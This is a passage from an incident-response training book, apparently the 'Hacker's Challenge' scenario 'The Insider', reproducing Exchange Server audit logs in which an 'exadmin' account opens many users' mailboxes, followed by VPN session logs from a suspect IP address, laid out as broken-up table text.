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Hacker’'s Challenge: Test Your Incident Response Skills Using 20 Scenarios

Date
26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

Time
4:50

4:51

4:52

4:53

4:54

5:00

Source

Exchange
Private

Exchange
Private

Exchange
Private

Exchange
Private

Exchange
Public

Exchange
Private

Category

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Message

NT User
VICTIMDOMAIN\
exadmin logged onto
gwachman mailbox,
and is not the primary
Windows NT account
on this mailbox.

NT User
VICTIMDOMAIN\
exadmin logged onto
gwachman mailbox,
and is not the primary
Windows NT account
on this mailbox.

NT User
VICTIMDOMAINN\
exadmin logged onto
jrecla mailbox, and is not
the primary Windows NT
account on this mailbox.

NT User
VICTIMDOMAINN\
exadmin logged onto
jrecla mailbox, and is not
the primary Windows NT
account on this mailbox.

VICTIMDOMAINN\
exadmin was validated

as /o=VIC/ou=LA/cn=
Recipients/cn= jrecla and
logged onto the public
information store.

NT User
VICTIMDOMAINN\
exadmin logged onto
dbarbin mailbox, and is
not the primary Windows
NT account on this mailbox.

Table C2-2.

Microsoft Exchange Server Log File (continued)




Challenge 2:

The Insider

Date
26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

Time
5:01

5:01

5:13

5:14

5:16

5:16

Source

Exchange
Private

Exchange
Public

Exchange
Private

Exchange
Private

Exchange
Private

Exchange
Private

Category

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Message

NT User
VICTIMDOMAIN\
exadmin logged onto
rbradley mailbox, and is
not the primary Windows

NT account on this mailbox.

VICTIMDOMAINN\
exadmin was validated

as /o=VIC/ou=LA/cn=
Recipients/cn= rbradley
and logged onto the public
information store.

NT User
VICTIMDOMAINN\
exadmin logged onto
growley mailbox, and is
not the primary Windows

NT account on this mailbox.

NT User
VICTIMDOMAINN\
exadmin logged onto
sking mailbox, and is not
the primary Windows NT
account on this mailbox.

NT User
VICTIMDOMAINN\
exadmin logged onto
jjesse mailbox, and is not
the primary Windows NT
account on this mailbox.

NT User
VICTIMDOMAINN\
exadmin logged onto
rallen mailbox, and is not
the primary Windows NT
account on this mailbox.

Table C2-2.

Microsoft Exchange Server Log File (continued)
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Hacker’'s Challenge: Test Your Incident Response Skills Using 20 Scenarios

Date
26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

Time
5:18

5:21

5:23

5:24

5:26

5:31

Source

Exchange
Private

Exchange
Private

Exchange
Private

Exchange
Private

Exchange
Private

Exchange
Private

Category

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Message

NT User
VICTIMDOMAIN\
exadmin logged onto
mhensley mailbox, and is
not the primary Windows
NT account on this mailbox.

NT User
VICTIMDOMAIN\
exadmin logged onto
kpark mailbox, and is not
the primary Windows NT
account on this mailbox.

NT User
VICTIMDOMAINN\
exadmin logged onto
kspacey mailbox, and is
not the primary Windows
NT account on this mailbox.

NT User
VICTIMDOMAINN\
exadmin logged onto
bschroeder mailbox,
and is not the primary
Windows NT account
on this mailbox.

NT User
VICTIMDOMAINN\
exadmin logged onto
dway mailbox, and is not
the primary Windows NT
account on this mailbox.

NT User
VICTIMDOMAIN\
exadmin logged onto
blee mailbox, and is not
the primary Windows NT
account on this mailbox.

Table C2-2.

Microsoft Exchange Server Log File (continued)




Challenge 2:

The Insider

Date
26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

Time
5:32

5:32

5:34

5:35

5:36

5:40

Source

Exchange
Private

Exchange
Public

Exchange
Private

Exchange
Private

Exchange
Private

Exchange
Private

Category

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Message

NT User
VICTIMDOMAIN\
exadmin logged onto
sschneer mailbox, and is
not the primary Windows

NT account on this mailbox.

VICTIMDOMAIN\
exadmin was validated

as /o=VIC/ou=LA/cn=
Recipients/cn= sschneer
and logged onto the public
information store.

NT User
VICTIMDOMAIN\
exadmin logged onto
krucks mailbox, and is not
the primary Windows NT
account on this mailbox.

NT User
VICTIMDOMAINN\
exadmin logged onto
krucks mailbox, and is not
the primary Windows NT
account on this mailbox.

NT User
VICTIMDOMAINN\
exadmin logged onto
wsantos mailbox, and is
not the primary Windows

NT account on this mailbox.

NT User
VICTIMDOMAINN\
exadmin logged onto
kcurran mailbox, and is
not the primary Windows

NT account on this mailbox.

Table C2-2.

Microsoft Exchange Server Log File (continued)
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Hacker’'s Challenge: Test Your Incident Response Skills Using 20 Scenarios

Date
26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

Time
5:41

5:48

5:48

5:49

5:50

5:57

Source

Exchange
Private

Exchange
Private

Exchange
Private

Exchange
Private

Exchange
Private

Exchange
Private

Category

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Message

NT User
VICTIMDOMAINN\
exadmin logged onto
ajolie mailbox, and is not
the primary Windows NT
account on this mailbox.

NT User
VICTIMDOMAIN\
exadmin logged onto
ajolie mailbox, and is not
the primary Windows NT
account on this mailbox.

NT User
VICTIMDOMAIN\
exadmin logged onto
lcroft mailbox, and is not
the primary Windows NT
account on this mailbox.

NT User
VICTIMDOMAINN\
exadmin logged onto
mstewart mailbox, and is
not the primary Windows
NT account on this mailbox.

NT User
VICTIMDOMAINN\
exadmin logged onto
mbolton mailbox, and is
not the primary Windows
NT account on this mailbox.

NT User
VICTIMDOMAINN\
exadmin logged onto
rnixon mailbox, and is not
the primary Windows NT
account on this mailbox.

Table C2-2.

Microsoft Exchange Server Log File (continued)




Challenge 2:

The Insider

Date
26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

Time
5:58

5:59

6:02

6:03

6:06

6:07

Source

Exchange
Private

Exchange
Private

Exchange
Private

Exchange
Private

Exchange
Private

Exchange
Private

Category

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Message

NT User
VICTIMDOMAINN\
exadmin logged onto
sdavis mailbox, and is not
the primary Windows NT
account on this mailbox.

NT User
VICTIMDOMAIN\
exadmin logged onto
anewman mailbox, and is
not the primary Windows

NT account on this mailbox.

NT User
VICTIMDOMAINN\
exadmin logged onto
bcrosby mailbox, and is
not the primary Windows

NT account on this mailbox.

NT User
VICTIMDOMAINN\
exadmin logged onto
mmanson mailbox, and is
not the primary Windows

NT account on this mailbox.

NT User
VICTIMDOMAINN\
exadmin logged onto
zdelaroca mailbox, and is
not the primary Windows

NT account on this mailbox.

NT User
VICTIMDOMAINN\
exadmin logged onto
kspacey mailbox, and is
not the primary Windows

NT account on this mailbox.

Table C2-2.

Microsoft Exchange Server Log File (continued)
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Hacker’'s Challenge: Test Your Incident Response Skills Using 20 Scenarios

Date
26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

26-Feb-00

Time
6:07

7:52

7:52

8:17

8:17

8:19

Source

Exchange
Public

Exchange
Public

Exchange
Private

Exchange
Private

Exchange
Public

Exchange
Public

Category

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Success
Audit

Message

VICTIMDOMAIN\
exadmin was validated

as /0=VIC/ou=LA/cn=
Recipients/cn= kspacey
and logged onto the public
information store.

VICTIMDOMAINN\
exadmin was validated

as /o=VIC/ou=LA/cn=
Recipients/cn= gwachman
and logged onto the public
information store.

NT User
VICTIMDOMAINN\
exadmin logged onto
kspacey mailbox, and is
not the primary Windows
NT account on this mailbox.

NT User
VICTIMDOMAINN\
exadmin logged onto
tswank mailbox, and is not
the primary Windows NT
account on this mailbox.

VICTIMDOMAINN\
exadmin was validated
as /o=VIC/ou=LA/cn=
Recipients/cn= tswank
and logged onto the public
information store.

VICTIMDOMAINN\
exadmin was validated

as /o=VIC/ou=LA/cn=
Recipients/cn= jrecla and
logged onto the public
information store.

Table C2-2.

Microsoft Exchange Server Log File (continued)




Challenge 2:

The Insider

Date
26-Feb-00

Time
8:19

Source

Exchange
Private

Category Message

Success NT User

Audit VICTIMDOMAIN\
exadmin logged onto
anewman mailbox, and is
not the primary Windows

NT account on this mailbox.

Table C2-2.

Microsoft Exchange Server Log File (continued)

Date
2/26/2000

2/26/2000

2/26/2000

2/26/2000

2/26/2000

2/26/2000

Time

12:08 AM.

12:08 AM.

12:10 AM.

12:10 AM.

12:10 AM.

2:08 AM.

Message

29006 02/26/2000 00:03:43.070 SEV=4
PPTP/35 RPT=1453 192.168.0.148
Session closed on tunnel 192.168.0.148
(peer 49152, local 46237, serial 40751),
reason: Error (No additional info)

29009 02/26/2000 00:03:43.180 SEV=4
PPTP /34 RPT=1462 192.168.0.148
Tunnel to peer 192.168.0.148 closed,
reason: None (No additional info)

29032 02/26/2000 00:05:05.570 SEV=4
PPTP /47 RPT=1488 192.168.0.148
Tunnel to peer 192.168.0.148 established

29033 02/26/2000 00:05:05.610 SEV=4
PPTP/42 RPT=1484 192.168.0.148
Session started on tunnel 192.168.0.148

29038 02/26/2000 00:05:08.780 SEV=5
PPP/8 RPT=377 192.168.0.148 User

[ domain\backup ]

31272 02/26/2000 02:03:15.680 SEV=4
PPTP/35 RPT=1536 192.168.0.148
Session closed on tunnel 192.168.0.148

(peer 0, local 59863, serial 40752), reason:

Error (No additional info)

Table C2-3. VPN Log Files Leading Up to Event One from the Suspect IP Address
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H